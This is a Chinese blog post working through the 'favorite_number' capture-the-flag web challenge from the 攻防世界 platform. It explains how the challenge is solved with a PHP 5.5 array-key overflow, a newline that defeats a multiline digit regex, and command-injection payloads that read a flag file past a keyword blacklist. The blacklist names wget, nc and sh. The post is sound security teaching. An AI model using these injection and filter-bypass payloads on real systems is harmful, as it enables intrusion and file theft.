攻防世界-web-favorite_number(php5.5的数组key溢出、换行符绕过正则跨行匹配、inode号绕过文件名过滤、文件输出绕过正则)

进入界面

<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {
    $num= $_POST["num"];
    if (preg_match("/^\d+$/im",$num)){
        if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
            echo "my favorite num is:";
            system("echo ".$num);
        }else{
            echo 'Bonjour!';
        }
    }
} else {
    highlight_file(__FILE__);
}

简单的代码审计

  • 首先是个判断,既要数组强等于,又要首元素不等
  • 然后是个正则"/^\d+$/im",要求整个字符串都是数字,大小写不敏感,跨行检测
    • ^和$ 匹配字符串开头和结尾
    • /d 匹配数字
    • /i 表示匹配的时候不区分大小写
    • /m 表示多行匹配。什么是多行匹配呢?就是匹配换行符两端的潜在匹配。影响正则中的^$符号
  • 接着是个黑名单,把常用的可以执行的代码命令都排除了
  • 最后是一个system函数,可以执行外部程式并且显示输出

所以本题的解题思路是,先绕过前面3个if判断,然后利用system()执行外部命令。

一 数组比较绕过:通过php5.5版本的数组key溢出漏洞

参考数组的key溢出问题

 payload如下(4294967296=2^32)

stuff[4294967296]=admin&stuff[1]=user&num=123
或者
stuff[-4294967296]=admin&stuff[1]=user&num=123

成功绕过第一个if判断。

 

二 换行符绕过正则跨行匹配

然后尝试绕过数字检测,可以使用换行符%0a绕过跨行匹配。 

payload如下

stuff[4294967296]=admin&stuff[1]=user&num=123%0als

这里不能使用hackbar来执行payload,因为火狐浏览器会自动在换行符%0a前面加上回车符%0d,凑成%0d%0a,使绕过失败。

  

使用burp,成功绕过数字检测,执行ls命令。

 

三 黑名单绕过

查看系统根目录,我们发现了flag文件。

本来应该执行cat /flag我们就可以直接得到flag。但是由于第三个if判断过滤掉了cat和flag以及其他的一些特殊字符。我们就只能想别的办法了。

linux系统习下查看文件内容的方法有如下

除了cat在黑名单中被过滤了外,其他的我们都可以使用,比如这里我们用tac。

文件名绕过则有两个比较好用的方法

方法1 用inode索引节点

先使用ls -i命令寻找flag的inode号,payload如下

然后,读取flag(使用`绕过单双引号过滤)

stuff[4294967296]=admin&stuff[1]=user&num=123%0atac `find / -inum 38406195`

 

方法2 将文件名输出到文件里,然后执行文件。

payload如下

stuff[4294967296]=admin&stuff[1]=user&num=123%0aprintf /fla > /tmp/hello && printf g >> /tmp/hello && tac `tac /tmp/hello`

 

知识点小结

  • php5.5的数组key溢出
  • 换行符绕过正则跨行匹配
  • inode绕过正则
  • 文件输出绕过正则

 

参考:https://www.freesion.com/article/93221418160/

posted @ 2020-11-12 15:03  zhengna  阅读(1350)  评论(0编辑  收藏  举报